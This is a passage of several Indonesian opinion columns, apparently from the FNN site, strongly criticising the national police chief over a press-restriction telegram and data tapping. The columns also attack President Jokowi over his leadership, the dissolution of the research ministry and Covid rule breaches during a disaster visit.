Tranparansi berkeadilan merupakan realisasi dari prinsip, cara berpikir dan sistem yang terbuka, akuntabel, dan humanis. Kami terbuka untuk diawasi, sehingga pelaksanaan tugas-tugas Kepolisian akan dapat menjamin keamanan dan rasa keadilan masyarakat. Polri tidak boleh menjadi alat kekuasaan, karena sejatinya Polri adalah alat negara. Oleh karena itu, setiap tindakan Polri harus ditujukan untuk mendukung memajukan Indonesia dalam bingkai Negara Kesatuan Republik Indonesia. (Calon Kapolri Komisaris Jendral Polisi Listyo Sigit Prabowo di Depan Komisi III DPR). PRESISI itu bukan dengan cara mempidanakan orang yang menyerukan atau mengajak orang lain hadir pada peringatan Maulid Nabi Muhammad Sallallahu Alaihi Wasallam. Sejak kapan perayaan Maulid Nabi Muhammad Sallallahu Alaihi Wasallam itu dinyatakan oleh hukum positif Indonesia sebagai kejahatan? Sejak kapan itu Pak Kapolri? Hukum apa yang mengatur soal itu Pak Kapolri? PRESISI ko seruan kepada orang untuk datang menghadiri perayaan Maulid Nabi Muhammad Sallallhu Alaihi Wasallam dinyatakan sebagai “hasutan” Pak Kapolri? Ah, itu konyol sekali. Sebaiknya jangan yang seperti begitulah. Sebab pasti disebut masyarakat sebagai arogansi kekuasaan dari institusi kepolisian. Bukan lagi disebut sebagai arogansi anggota atau oknum polisi semata. Kapolri Yang Berkelas PRESISI, tetapi apakah menyedot dan menyadap data pribadinya Jumhur Hidayat secara diam-diam itu dibenarkan oleh hukum? Pastinya itu tindakan ngaco dan ngawur? Kebijakan itu pakai hukum atau UU dari planet mana ya Pak Kapolri? Kalau tidak salah ingat, kebijakan penyedotan dan penyadapan data pribadinya Jumhur Hidayat tersebut dilakukan saat Pak Sigit masih menjabat sebagai Kapala Badan Reserse Kriminal (Bareskrim) Polri. Kapan dan pada UU apa polisi diberi wewenang untuk menyedot serta menyadap data pribadi warga negara? Ini pasti bukan pekerjaan polisi yang PRESISI Pak Kapolri. Perbuatan ini pasti arogansi namanya. Dibilang arogansi karena tidak ada UU yang memberi kewenangan kepada polisi untuk menyadap dan menyedot data pribadi dan percakapan pribadi orang. Meskipun tidak menggunakan alat canggih penyadapan dan penyedotan, namun pekerjaan yang arogan dan sewenang-wenang dengan mengabaikan UU seperti ini hanya ada pada eranya Polisi GESTAPO Nazi Hitler dulu. Pasti itu bukan pekerjaan polisi yang PRESISI. Itu memalukan betul Pak Kapolri. Masa hari gini polisi bekerja tanpa panduan UU? Masih ada aparatur negara yang berpikir menyembunyikan tingkah lakunya? Kekerasan aparat ko mau disembunyikan? Arogansi aparat ko mau diumpetin? Waraskah itu? Jelas saja itu tidak waras. Untung saja hari ini kita punya Kapolri yang waras. Sehingga TR yang hendak membatasi kebebasan pers memberitakan prilaku arogansi polisi itu dicabut. Hanya dalam kurun waktu kurang dari 24 jam TR yang abal-abal tersebut dicabut Kapolri. Terima kasih Pak Kapolri Sigit. Anda memang Kapolri yang hebat, berkelas, top-markotop dan mengagumkan. Pak Kapolri Sigit sangat responsip dan prediktif terhadap keresahan dan kegalauan masyarakat Pers. Itu baru namanya sikap dan kebijakan yang PRESISI. Sekali lagi, terima kasih Pak Kapolri Sigit. Anda telah menunjukan dengan sangat jelas kelas dan kaulitas anda sebagai Kapolri yang PRESISI. Pastinya tidak ada aparat yang bukan hamba-Nya Allah Subhanau Wata’ala. Sebagai hamba Allah Subhanahu Wata’ala tidak ada satupun tindakan aparatur yang berada di luar penglihatan rekaman Allah Subhanahu Wata’ala, Robb yang Haq. Secanggih apapun kekerasan dan arogansi itu diumpetin, tetap saja terekam dengan utuh oleh Allah Subhanahu Wata’ala. Kalian boleh saja lolos di dunia. Tetapi tidak di alam Allah Azza wa Jallah. Allah Subhanahu Wata’ala yang maha tau setiap napas hamba-Nya pasti berada dalam genggaman-Nya. Pak Sigit, saran kami, berhentilah untuk mengurus hal-hal yang tidak menjadi tugas pokok anda sebagai Kapolri. Tidak usahlah anda ikut cawe-cawe, mengambil prakarsa sendiri atau apapun namanya menangani urusan-urusan pemerintahan yang menjadi tugas pokok kementerian tertentu. Anda hanya perlu menggunakan semua energi yang serba terbatas, untuk membangun Kepolisian. Itu sudah cukup. Tata Ulang Polisi Benahi saja kultur Kepolisian. Itu jauh lebih penting daripada anda harus menggunakan energi kesana-kemari menangani hal-hal yang telah menjadi tugas Kementerian lain. Kalau anda mencintai kepolisian, sama dengan cinta kami kepada kepolisian. Anda harus tahu juga, kalau arogansi yang terlembagakan dan menjadi kultur suatu organisasi, kelak akan melahirkan energi antipasti. Energi antipati itu akan bertransformasi menjadi undangan dan kebutuhan politik kepada bangsa ini, melakukan “Tata Ulang Kepolisian”. Sebab kalau terus-terusan arogan, dan dinilai polisi selalu andal sebagai tukang pukul politik Presiden, maka tampilan praktis polisi ditengah bangsa ini kelak akan dibuka oleh masyarakat. Akan dicerna dan dievaluasi semua prilaku polisi dengan deteilnya. Bisa dibayangkan kalau semua data itu menyuguhkan kenyataan bahwa polisi selalu saja begitu, yaitu “menjadi tukang pukul politik Presiden”. Selalu mengandalkan hukum di sepanjang sejarah bangsa ini untuk memukul lawan politik. Setidaknya sejak tahun 1959 lalu, sehingga kebutuhan untuk melakukan “Tata Ulang Kepolisian” bakal sulit terhindarkan. Bila data sejarah perilaku arogansi Polisi hadir secara detail di benak warga negara yang membiayai polisi, maka kenyataan itu bisa menghadirkan “Tata Ulang Kepolisian”. Tata ulang sebagai pilihan paling rasional dan mutlak. Itu yang harus diingat-ingat oleh Pak Kapolri. Belajarlah dari sejarah kelam masa lalu TNI yang “menjedi tukang pukul politik terhebat Presiden”. Jangan ulangi lagi kekeliruan TNI itu. Pak Kapolri tidak bileh lupa dengan celah konstitusi terlalu besar untuk bangsa ini memilih pilihan “Tata Ulang Kepolisian”. Coba lihat dan pelajari lagi UUD 1945. Hubungkan kemungkinan “Tata Ulang Kepolisan” itu dengan pasal 30 ayat (4) UUD 1945. Esensi dari pasal 28I ayat (5) UUD 45 itu sangat sangat dan sangat jelas. Tidak ada penegakan hukum, yang dengan alasan apapun, membatasi hak asasi warga negara atau pribadi orang. Negara hukum mengharuskan pembatasan itu dilakukan, bukan hanya berdasarkan hukum ansich. Tetapi hukum yang selaras dengan panduan etika, moral, kaidah sosial dan politik yang masuk dalam timbangan akal sehat. Bagaimana dengan pasal 30 ayat (4), yang bicara tentang Kepolisian. Pasal ini menyediakan kaidah konstitusional untuk membatasi organisasi Kepolisian. Kadiah “menegakan hukum” itu tidak bersensi “menyelidik dan menyidik” mutlak hanya menjadi fungsi Polisi. Fungsi ini bisa dilakukan oleh organ lain negara di luar Kepolisian. Itu yang mungkin perlu diingat-ingat oleh Pak Kapolri Sigit. Dalam rangka memastikan pelaksanaan fungsi konstitusional Kepolisian menjaga keamanan dan ketertiban masyarakat, melindungi dan mengayomi serta melayani masyarakat, maka diperlukan organ lain sebagai transformasi konstitusional 28I ayat (5) UUD 1945 itu. Organ ini mutlak disifatkan sebagai organ yang independen. Organ di luar polisi. Namu bukan Komisi Kepolisian Nasional (Kompolnas). Sekedar saran, Pak Kapolri perlu mengasah kepekaan terhadap lingkungan politik. Kapolri harus pastikan lingkungan politik tidak boleh mengkristal pada kebutuhan untuk “Tata Ulang Kepolisian”. Polisi boleh saja dikenal hebat dan terlatih dalam lobi-lobi politik khusus. Tetapi politik punya cara kerja sendiri yang terkadang aneh-aneh. Sulit untuk diprediksi. Maka belajarlah yang banyak dari kekeliruan saudara tua. Prinsipnya anggota polisi jangan mengorbankan institusi polisi. Misalnya, dengan berusaha berlindung dibalik institusi polisi. Namun sebaliknya, institusi polisi jangan juga sampai digunakan untuk melindungi anggota yang jelas-jelas bersalah dan tidak PRESISI. Sebab kalau keadaan masyarakat menghendaki perubahan, maka dipastikan politisi-politisi akan mengubah haluan. Kalau perubahan itu ada depan mata, maka para politisi akan memilih untuk berlabuh di pelabuhan rakyat. Mereka akan bernyanyi dalam nada dan dan irama yang bersama-sama dengan rakyat. Itu pasti terjadi. Begitu cara politisi mencari jalan dan perahu untuk menyelamatkan diri. Tidak ada jalan yang bisa dipakai untuk dilewati politisi. Ketika itu, semua jalan menjadi buntu dan tertutup. Terimak Pak Kapolri yang sudah bertindak cepat mencabut TR abal-abal itu. Arogansi Polisi akhirnya bisa diberitakan lagi oleh Pers. Jelas sudah kalau Pak Kapolri Sigit menghendaki tampilan polisi yang humanis. Bukan polisi yang arogansi. Bersamaan dengan itu, Pak Kapolri harus pastikan bahwa pencabutan TR abal-abal itu menjadi akhir arogansi Polisi pada semua aspek penegakan hukum negeri ini. Semoga saja. (selesai).

Anomali dan Ironi Presiden

by Sutoyo Abadi Jogjakarta, FNN - ANOMALI bisa diartikan sebagai suatu keganjilan, keanehan, atau penyimpangan dari keadaan biasa (normal) yang berbeda dari kondisi umum suatu lingkungan. Ironi yang berarti penipuan atau pura-pura, merupakan bahasa kiasan yang mengimplikasikan sesuatu yang berbeda, bahkan ada kalanya bertentangan dengan yang sebenarnya dikatakan tersebut. Hampir semua yang dikatakan Presiden selalu berbeda pada akhirnya dengan yang di katakan sebelum-sebelumnya. Rocky Gerung menilai sikap Jokowi tidak mengerti arah kebijakan yang dicanangkannya. "Presiden betul-betul masuk dalam kategori man of contradiction, kami menangkap beliau tidak mengerti setiap arah kebijakannya akan ke mana," . Sejalan dengan pandangan Prof. Daniel M Rasyid, the crux of the problem permasalahan kepemimpinan Pak Jokowi itu adalah pada kegagalan kepemimpinan atau "leadership failure”. Jokowi tidak memiliki wawasan yang jelas tentang arah pembangunan di Indonesia, pemahaman dan penguasaan pada jiwa dan aksara Pancasila dan UUD 1945 masih kabur, serta wawasan Jokowi tentang globalisasi dan geopolitik pada umumnya juga tidak jelas. “Jadi memang _from the very beginning_ sudah mengusung portofolio kegagalan itu. Tidak tampak Pak Jokowi memiliki wawasan yang jelas tentang arah pembangunan di Indonesia. “Kegagalan kepemimpinannya telah melahirkan kegagalan atau _fiasco multidimensional_. Fiasco itu terjadi hampir di seantero kehidupan nasional bangsa Indonesia.” Kegagalan demokrasi yang telah berubah menjadi oligarki, otoritarianisme, nepotisme dan menjadi rezim pemborong kebenaran. Jadi dalam bahasa teknisnya itu rezim ini menjadi _solipsistik rezim_ yang merasa paling borong kebenaran, yang selain rezim itu keliru. “Di masa krisis seperti sekarang ini terlalu jelas bahwa Pak Jokowi memang tidak punya kompetensi kepemimpinan. Sampai kapan Anomali dan Ironi Presiden akan berahir, seperti tidak akan pernah berahir dan baru akan berakhir dengan berakhirnya Presiden mengahiri masa jabatannya. End. Penulis Sekretaris KAMI se-JAWA

Lembaga Ristek Dalam Bayang-Bayang Indoktrinasi

by Dipo Alam Jakarta, FNN - Setelah bereksperimen mengeluarkan Dirjen Pendidikan Tinggi dari Kementerian Pendidikan dan Kebudayaan (Kemendikbud) ke Kementerian Riset dan Teknologi (Kemenristek) pada periode pertamanya dulu, sebuah eksperimen yang terbukti gagal dan kemudian dianulir sendiri setelah lima tahun; di periode keduanya ini Presiden Joko Widodo kembali bereksperimen dengan “membubarkan” Kemenristek dan meleburnya ke Kemendikbud. Memang butuh waktu untuk menilai apakah keputusan ini akan berhasil atau kembali membentur kegagalan. Namun, kita bisa langsung menilai jika dari kacamata kebijakan publik dan manajemen riset, keputusan untuk “membubarkan” Kemenristek adalah sebuah keputusan yang buruk. Ada tiga alasannya. Pertama, mengubah nomenklatur kementerian di tengah jalannya pemerintahan dengan jelas menunjukkan jika pemerintah tidak memiliki horison perencanaan jangka panjang. Kecuali perubahan pejabat kementerian, susunan lembaga kementerian seharusnya sudah selesai begitu Presiden mengumumkan susunan kabinet. Tidak heran jika publik, terutama yang berkecimpung di dunia riset dan akademik, sulit mempercayai kalau perubahan ini benar-benar dimaksudkan untuk memperbaiki kelembagaan riset dan inovasi teknologi di tanah air. Walaupun, ketika itu diharapkan universitas kita menuju kiat research university. Kedua, riset jenjangnya berbeda dan bahkan jauh lebih tinggi daripada universitas serta lembaga pendidikan lainnya. Itu sebabnya, sejak Kementerian Riset pertama kali dibentuk pada masa Kabinet Kerja III (1962), dan bertahan hingga Kabinet Dwikora II (1966), kementerian ini tidak pernah berada satu kompartemen dengan bidang pendidikan dan pengajaran. Begitu juga ketika pemerintahan Orde Baru memasukkan kembali Kementerian Riset ke dalam nomenklatur kabinet sejak Kabinet Pembangunan II (1973-1978), posisinya tidak pernah disatukan dengan kompartemen pendidikan. Sehingga, menyatukan dapur riset dengan dapur pendidikan dan pengajaran bukanlah sebuah langkah langkah baru yang menjanjikan berhasil-guna. Ketiga, “pembubaran” Kemenristek terjadi bersamaan dengan munculnya nomenklatur baru bernama Kementerian Investasi di dalam kabinet. Menurut saya, ini sangat tragis. Di satu sisi Pemerintah beralasan pembubaran Kemenristek adalah karena sekarang telah ada BRIN (Badan Riset dan Inovasi Nasional). Tetapi di sisi lain, mereka malah memunculkan kementerian baru dalam bidang investasi, padahal kita sudah memiliki BKPM (Badan Koordinasi Penanaman Modal). Dalam Surat Presiden (Surpres) No. R-14/Pres/03/2021 yang dikirim kepada DPR terkait pembubaran Kemenristek dan pembentukan Kementerian Investasi, disebutkan jika pembentukan kementerian baru itu adalah untuk meningkatkan investasi di Indonesia. Kita pun jadi bertanya-tanya. Jika untuk menaikkan investasi butuh dibentuk kementerian baru di kabinet, kenapa untuk memajukan riset justru dilakukan dengan cara sebaliknya, yaitu menghapus Kemenristek yang sudah ada di kabinet?! Sebagai catatan, secara kelembagaan BRIN dengan BKPM kurang lebih setara, yaitu termasuk Lembaga Non-Struktural (LNS) dan Lembaga Pemerintah Non-Kementerian (LPNK). UU No. 11/2019 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi, yang menjadi dasar pendirian BRIN, juga hanya memerintahkan pendirian BRIN saja, dan bukannya memerintahkan pembubaran Kemenristek. Jika pemerintah benar-benar ingin memajukan riset, seharusnya BRIN tetap dibiarkan menginduk kepada Kemenristek seperti yang sudah berjalan sejauh ini. Mendesain BRIN sebagai organisasi otonom di luar kementerian dapat membuat kabinet yang ada malah kehilangan efektivitasnya. Bayang-bayang Indoktrinasi Ideologi Saya khawatir, keputusan Presiden untuk lebih memenangkan BRIN daripada Kemenristek ini lebih banyak didikte oleh kepentingan politik praktis daripada kepentingan untuk memajukan ilmu pengetahuan dan teknologi. Hari Kamis, 8 April 2021 kemarin, dalam tajuknya, Koran Tempo menulis jika PDI-P, yang aktif mengawal pengesahan UU No. 11/2019, menginginkan agar ketua umumnya didapuk menjadi Ketua Dewan Pengarah BRIN. Upaya untuk mendorong ke arah itu bahkan telah dilakukan dengan menunggangi RUU Haluan Ideologi Pancasila (HIP) yang tahun lalu sempat menjadi kontroversi. Sangat ganjil, naskah RUU yang seharusnya fokus pada bagaimana melembagakan nilai-nilai Pancasila itu, jika kita periksa dengan seksama, ternyata banyak sekali memuat soal BRIN. Ada lima pasal dalam RUU HIP yang secara tegas menyebut BRIN, yaitu Pasal 35, 38, 45, 48 dan 49. Dalam Pasal 35 Ayat (2), misalnya, disebutkan, “Untuk menjamin terlaksananya Haluan Ideologi Pancasila dalam sistem nasional ilmu pengetahuan dan teknologi sebagaimana dimaksud pada ayat (1) dibentuk kementerian/badan riset dan inovasi nasional untuk menjalankan penelitian, pengembangan, pengkajian, dan penerapan, serta invensi dan inovasi yang terintegrasi.” Pasal tersebut cukup menjadi pertanyaan, mengingat perintah untuk mendirikan BRIN sebenarnya sudah tercantum dalam UU No. 11/2019 tentang Sistem Nasional Ilmu Pengetahuan dan Teknologi yang telah diundangkan oleh Pemerintah sendiri sejak 13 Agustus 2019. Apa perlunya mengulangi hal itu, apalagi sampai mengandaikan jika perintah pendirian BRIN tersebut ada kaitannya dengan keinginan semacam “penataran” ideologi Pancasila? Namun, hal yang sekilas menjadi pertanyaan itu masuk akal kalau kita menghubungkannya dengan Pasal 48 ayat (6) RUU HIP, yang berbunyi, “Ketua dewan pengarah sebagaimana dimaksud pada ayat (3) huruf a menjabat ex officio ketua dewan pengarah di badan yang menyelenggarakan riset dan inovasi nasional.” Yang dimaksud sebagai “ketua dewan pengarah” dalam RUU HIP adalah ketua dewan pengarah dari badan yang menyelenggarakan urusan di bidang pembinaan ideologi. Sekilas, model kelembagaan ristek seperti ini mirip dengan yang dipraktikkan Partai Komunis Cina (PKC) di Republik Rakyat Tiongkok. Sampai di sini muncul pertanyaan akhir: kenapa sebuah undang-undang yang seharusnya hanya mengatur sebuah badan tentang pembinaan Pancasila, bisa memiliki hasrat yang demikian besar untuk mengatur badan lain yang mengurusi soal riset dan inovasi nasional, sebuah bidang yang bersifat sangat praktikal?! Tepatkah menempatkan lembaga yang berurusan dengan soal riset di bawah kontrol sebuah lembaga indoktrinasi, yang notabene dipimpin oleh seorang ketua umum partai politik? Berbagai pertanyaan di atas, kian memuncak jika kita membaca Pasal 45 ayat (1) dan (2) RUU HIP, yang memberikan wewenang sangat besar kepada ketua dewan pengarah dalam mengontrol dan mengatur badan riset dan inovasi nasional. Padahal, jika kita membaca Perpres No. 74/2019 tentang Badan Riset dan Inovasi Nasional, yang diteken oleh Presiden Joko Widodo pada 24 Oktober 2019, sama sekali tidak disebutkan adanya posisi dewan pengarah. Selain itu, semua kewenangan atas BRIN yang dimiliki oleh ketua dewan pengarah menurut RUU HIP tadi, sebenarnya bertabrakan dengan tugas dan kewenangan pimpinan BRIN yang telah diatur dalam Perpres. Pimpinan BRIN sendiri terdiri dari Kepala, Sekretaris Utama, dan para Deputi. Saya kira, berbagai pertanyaan di atas perlu segera dijawab oleh Pemerintah, termasuk DPR yang telah menyetujui “pembubaran” Kemenristek. Jangan sampai kita mempertaruhkan masa depan riset dan pengembangan ilmu pengetahuan di tanah air untuk kepentingan yang tidak jelas. Kebijakan ristek yang tidak jelas orientasinya tersebut tentunya sangat memprihatinkan. Apalagi, dalam lima belas tahun terakhir kompetensi sains kita, terutama di level pelajar, bisa dikatakan berada pada level yang buruk. Kalau kita merujuk pada peringkat PISA (Programme for International Student Assessment), misalnya, peringkat kita sangat rendah. Untuk nilai kompetensi Membaca, misalnya, Indonesia berada di peringkat 72 dari 77 negara. Sementara, untuk nilai Matematika, kita berada di peringkat 72 dari 78 negara. Dan nilai Sains berada di peringkat 70 dari 78 negara. Peringkat kita konsisten buruk sejak penilaian tersebut pertama kali dirilis pada tahun 2000 silam. Bagaimana kompetensi sains kita akan meningkat, jika kebijakan riset dan pendidikan kita dibiarkan tambal sulam tak punya arah semacam itu? Penulis adalah Peneliti PAPIPTEK (Pusat Analisa Perkembangan Iptek) Lembaga Ilmu Pengetahuan Indonesia (1990-1993)

Di Lokasi Bencana, Jokowi Kampanye Tiga Periode

by Tjahja Gunawan Jakarta, FNN - Dalam sejarah bencana di Indonesia, baru pertama kali badai tropis melanda negeri ini. Badai itu kemudian dinamakan Badai Seroja yang telah meluluhlantakan sebagian besar wilayah Nusa Tenggara Timur (NTT) beberapa hari lalu. Akibat bencana ini, setidaknya 150 orang meninggal dan puluhan warga lainnya hilang. Banyak pula rumah warga yang rusak, jembatan putus dan hewan ternak yang lenyap terbawa arus banjir bandang. Bencana yang memilukan ini kemudian mengundang Presiden Jokowi untuk datang ke sana. Meski dalam suasana keprihatinan dan rasa duka akibat bencana, tidak mengurangi semangat warga untuk datang menyambutnya. Sayangnya, warga yang antusias menyambut kedatangan Jokowi bergerombol di berbagai lokasi yang didatangi kepala negara. Sementara Presiden Jokowi terlihat suka ria dan menikmati menyaksikan antusias warga yang mendatanginya sambil berkerumun. Pada momen itu, Jokowi, dan para pejabat yang mendampingi serta petugas keamanan memang menggunakan masker, tapi massa yang datang mengabaikan aturan prokes. Bahkan sebagian dari mereka berdesak-desakan agar bisa mendekat ke Jokowi. Ironisnya, Jokowi sendiri datang ke lokasi bencana bagaikan pahlawan perang yang datang ke lokasi yang hancur diluluhlantakkan oleh bencana banjir bandang dan longsor. Raut wajah Jokowi tidak terlihat sedikitpun adanya kekhawatiran terpapar Covid19 saat melihat antuasiasme massa yang bergerombol menyambut kedatangannya. Yang terlihat sibuk hanya petugas keamanan terutama paspampres. Mereka hanya berusaha menghalau massa yang berusaha merangsek agar bisa mendekati Jokowi. Sementara Presiden sendiri tenang saja, seolah tidak merasa bersalah berada ditengah kerumunan di massa pandemi Covid19 ini. Bahkan beliau menikmati suasana tersebut. Hal itu terlihat dari aksi Jokowi yang memberikan jaket kepada seorang pemuda di daerah Adonara bernama Jackson, yang tiba-tiba berteriak: "Lanjutkan 3 Periode !" Mendengar teriakan itu, Jokowi kemudian memanggil Jakcson dan sempat berbincang dengan pemuda yang mengaku pengangguran itu. Setelah beberapa saat berbincang, Jokowi kemudian membuka jaket yang dipakai pada saat itu dan langsung memberikannya kepada Jakcson. Melihat drama itu, secara spontanitas, warga berteriak histeris meminta Jokowi untuk melanjutkan kepemimpinan periode ke 3. Dari drama tersebut, warga setempat seolah lupa dengan bencana yang telah menderanya. Mereka pun lupa dengan pandemi Covid19 sehingga bebas bergerombol menyambut kedatangan Jokowi. Beda Jokowi & PM Norwegia Saat kunjungan ke Maumere NTT, aturan prokes juga diabaikan oleh Presiden Jokowi. Saat seperti itu, protokol kesehatan seolah tidak berlaku bagi masyarakat maupun bagi Jokowi sendiri. Prokes hanya berlaku untuk masyarakat lain yang melakukan kerumunan namun tidak dihadiri Jokowi. Acara pernikahan Youtuber terkenal Atta Halilintar dengan artis Aurel Hermansyah tidak jadi masalah besar bagi para elite bangsa ini karena dihadiri Presiden Jokowi, Menhan Prabowo dan Ketua MPR-RI Bambang Soesatyo. Sebaliknya pernikahan putri Habib Rizieq Shihab, dipersoalkan hingga dibawa ke ranah hukum dan saat ini sedang dalam proses persidangan di PN Jakarta Timur. Tidak hanya itu, akibat persoalan prokes itu pula enam anak muda laskar FPI dibunuh secara keji. Belum lagi rekening tabungan keluarga Habib Rizieq dan pengurus FPI dibekukan oleh rezim penguasa melalui PPATK. Tidak cukup sampai disitu, organisasi FPI pun ikut dibubarkan. Itu semua terjadi hanya karena mereka dituduh telah melanggar prokes. Seharusnya kalau Habib Rizieq sudah membayar denda Rp 50 juta, terbebas dari ancaman hukuman pidana. Tapi ternyata realitanya berbeda. Ini tentu kontras dengan pemandangan yang dilihat publik saat menyaksikan Presiden Jokowi berkunjung ke sejumlah daerah dan lokasi bencana di NTT belum lama ini. Dalam kunjungan itu, prokes tidak berlaku terutama tentang aturan menjaga jarak aman. Aturan prokes sebenarnya bukan hanya distancing antara Jokowi dengan massa tapi seharusnya aturan menjaga jarak aman diberlakukan bagi masyarakat yang datang menyambut kedatangan Jokowi. Kalau kemudian alasannya petugas tidak bisa melarang massa yang ingin bertemu dengan Jokowi maka aturan Prokes seharusnya tetap dijalankan. Bukankah massa umat Islam yang ingin menyaksikan sidang Habib Rizieq di PN Jaktim juga sangat banyak ? Bahkan sebenarnya massa dari berbagai daerah ingin datang ke Jakarta, tapi karena petugas di pengadilan menjalankan tugasnya dengan ketat akhirnya hanya sebagian kecil saja massa yang datang ke PN Jaktim. Itupun mereka dihalau petugas agar menjauh dari lingkungan PN Jaktim. Dalihnya, lagi-lagi soal prokes. Sekali lagi, jika melihat rangkaian peristiwa kunjungan Presiden ke berbagai daerah, aturan Prokes ini tidak berlaku bagi Jokowi. Potret perilaku Jokowi kontras dengan Perdana Menteri (PM) Norwegia Erna Solberg. Seperti dilansir kantor berita Reuters, Jumat (9/4/2021), Kepolisian Norwegia menjatuhkan hukuman denda terhadap PM Erna Solberg karena melanggar aturan social distancing yang diberlakukan selama pandemi virus Corona (COVID-19). PM Solberg dihukum denda karena menggelar acara perkumpulan keluarga untuk merayakan ulang tahunnya di saat pandemi Corona merajalela. Kepala Kepolisian Norwegia, Ole Saeverud, dalam konferensi pers mengatakan, hukuman denda untuk PM Solberg ditetapkan sebesar 20 ribu Krone Norwegia, atau setara Rp 34 juta. Bulan lalu, PM Solberg yang menjabat selama dua periode ini meminta maaf kepada publik setelah menggelar acara untuk merayakan ulang tahunnya ke-60 tahun. Kita seperti melihat bumi dan langit. Memang sangat kontras jika kita menyaksikan perilaku Jokowi dengan sikap dan keteladanan yang ditunjukkan PM Norwegia Erna Solberg. Sebenarnya Jokowi bisa menunjukkan rasa peduli kepada masyarakat NTT yang menjadi korban bencana dengan cara elegan tanpa khawatir dicap sebagai kepala pemerintahan yang membuat aturan sekaligus pelanggar aturan prokes Covid19 seperti sekarang ini. Caranya, datang ke Ibu Kota NTT di Kupang. Lalu melalui kewenangannya sebagai Kepala Negara, dia bisa mengumpulkan Gubernur NTT Viktor Laiskodat, para pejabat terkait, dan para kepala daerah di sana. Jangan lupa juga memerintahkan Mensos Tri Rismaharini, Menteri Pekerjaan Umum dan Perumahan Rakyat (PUPR) M. Basuki Hadimoeljono dan Kepala Badan Nasional Penanggulangan Bencana (BNPB) Letjen TNI Doni Monardo, untuk hadir. Kemudian adakan rapat secara efektif untuk menentukan tahapan bantuan dalam masa tanggap darurat maupun masa rehabilitasi dan rekonstruksi. Saya kira, secara umum tahapan dalam menghadapi bencana alam seperti itu. Sayangnya, langkah seperti itu tidak nampak dalam penanganan bencana di era rezim Jokowi. Akhirnya, yang terjadi kita hanya menyaksikan aksi show off seorang Mensos Tri Rismaharini dan atau aksi tebar pesona seperti yang ditunjukkan Jokowi selama ini. Padahal, bencana alam tidak bisa dikerjakan sendirian oleh satu instusi pemerintah. Juga tidak bisa diselesaikan hanya dengan aksi pencitraan dari seorang presiden. Sebaliknya penanganan bencana perlu dilakukan melalui kerja sama-sama. Terkoordinasi diantara instansi pemerintah pusat dan daerah. Perlunya dilakukan kolaborasi dengan organisasi kemanusiaan atau lembaga bantuan sosial. Kalau cara kerja Presiden Jokowi selama ini masih menonjolkan aspek pencitraan, jangan berharap mendapat apresiasi yang luas dari masyarakat bangsa Indonesia. Mungkin bagi masyarakat lapisan bawah seperti di NTT sosok dan perilaku Jokowi bisa saja dipuja puji dan dielu-elukan. Tetapi bagi lapisan masyarakat yang berpikiran waras, sosok pemimpin yang lebih mengutamakan pencitraan akan merugikan masyarakat sendiri. Jika Jokowi masih mengutamakan pencitraan demi meraih ambisinya memperpanjang masa jabatan hingga tiga periode. Maknya maka semua hal bisa dilanggar termasuk aturan soal Prokes Covid19. Oleh karena itu jika sekarang masyarakat dan warga +62 ingin mengadakan hajatan atau keramaian, cara yang paling aman agar terhindar dari jebakan aturan tentang Prokes adalah dengan mengundang Jokowi. Dijamin tidak akan didenda atau dihukum seperti yang dialami Habib Rizieq.* Penulis adalah Wartawan Senior FNN.co.id.

Arogansi Polisi Bisa Diberitakan, Alhamdulillaah Kapolri Waras (Bagian-1)

SOAL kebebasan Pers dan Hak Asasi Manusia menjadi ganjalan utama 13 Negara Bagian untuk pertama kalinya tidak mau bergabung dengan negara Amerika Serikat pada konvensi Philedevia (konvensi pembentuan Negara Amerika Serikat) tahun 1787. Empat tahun kemudian, padaamandemen pertama UUD Amerika Serikat tahun 1791, setelah soal kebebasan Pers dan HAM masuk dalam konstitusi, barulah 13 Negara Bagian menyatakan mau bergabung dengan Amerika Serikat. Hasil amandemen pertama UUD Amerika Serikat tahun 1791 itu, berbunyi begini, “Presiden dan Kongres Amerika Serikat dilarang untuk membuat Rancangan Undang-Undang yang membatasi kebebasan Pers. Baru mulai berfikir untuk membatasi kebebasan Pers saja sudah dilarang oleh konstitusi Amerika Serikat. Betapa pentingnya kebebasan Pers ini untuk mendirikan negara baru seperti Amerika Serikat. Sebagai “the four of state democration”, secara moral Pers diberikan tugas oleh rakyat untuk menguliti dan menelanjangi prilaku aneh dari semua penyelanggara negara yang dibayar gajinya dari pajak rakyat. Prilaku penyelenggara negara yang tidak memihak kepada rakyat. Prilaku penyelenggara negara yang tidak untuk menyukseskan cita-cita dan tujuan bernegara. Sebaliknya, malah menyeserakan rakyat. Polisi GESTAPO Nazi Hitler Alhamdulillah, Polri mengatakan pencabutan surat telegram Kapolri Nomor ST/750/IV/HUM.3.4.5./2021 terkait larangan media menampilkan “kekerasan aparat” (tanda petik dari kami) lantaran muncul banyak tafsir di masyarakat. Kapolri Pak Jendral Polisi Listyo Sigit Prabowo, akhirnya menyampaikan permintaan maaf atas terbitnya Telegram Rahasia (TR) larangan media. TR itu kemudian menimbulkan multitafsir di masyarakat yang diartikan media dilarang meliput upaya dan tindakan arogansi anggota polisi. Kapolri dalam keterangan tertulisnya, beredar di Jakarta, Selasa (6/4) malam, mengatakan dicabutnya TR tentang larangan media tersebut sebagai wujud Polri tidak antikritik. Polri bersedia mendengar dan menerima masukan dari masyarakat. "Dan sekali lagi mohon maaf atas terjadinya salah penafsiran yang membuat ketidaknyamanan teman-teman media. Sekali lagi kami selalu butuh koreksi dari teman-teman media dan eksternal untuk perbaikan insititusi Polri agar bisa jadi lebih baik," kata Kapolri. Bagus, hebat, berkelas dan top markotop. Sebab Kapolrinya waras. Punya akal sehat. Sebab untuk dan dengan alasan apapun, pembatasan pemberitaan pers memberitakan hal-ihwal perilaku Polisi, itu jelas arogan. Polisi yang tak bisa dikiritik itu hanya Polisi Gestapo di zaman Nazi Adolf Hitler dulu. Polisi Gestapo itu arogannya minta ampun. Arogannya tak ketulungan. Polisi Gestapo Nazi Hitler itu bisa menguping, mengintersep, menyadap seenak udel mereka terhadap siapa saja yang berbicara di luar garis politik Hitler. Seperti itulah kelakuannya Polisi Gestapo. Polisi itu punya senjata berpeluru tajam. Polisi juga punya senjata hukum. Dua senjata itu membuat mereka menjadi sangat super power. Karena kedua-duanya sama-sama mematikan. Polisi bisa saja menggunakan senjata berpeluru tajam yang mematikan setiap orang hanya dengan alasan-alasan yang direkayasa. Itulah yang terjadi di kilometer 50 tol Jakarta-Cikampek (Japek). Kapolda Metro Jaya Irjen Polisi Fadil Imran mengatakan mereka melawan dan membahayakan petugas. Belum lama ini, Nurhadi yang sudah 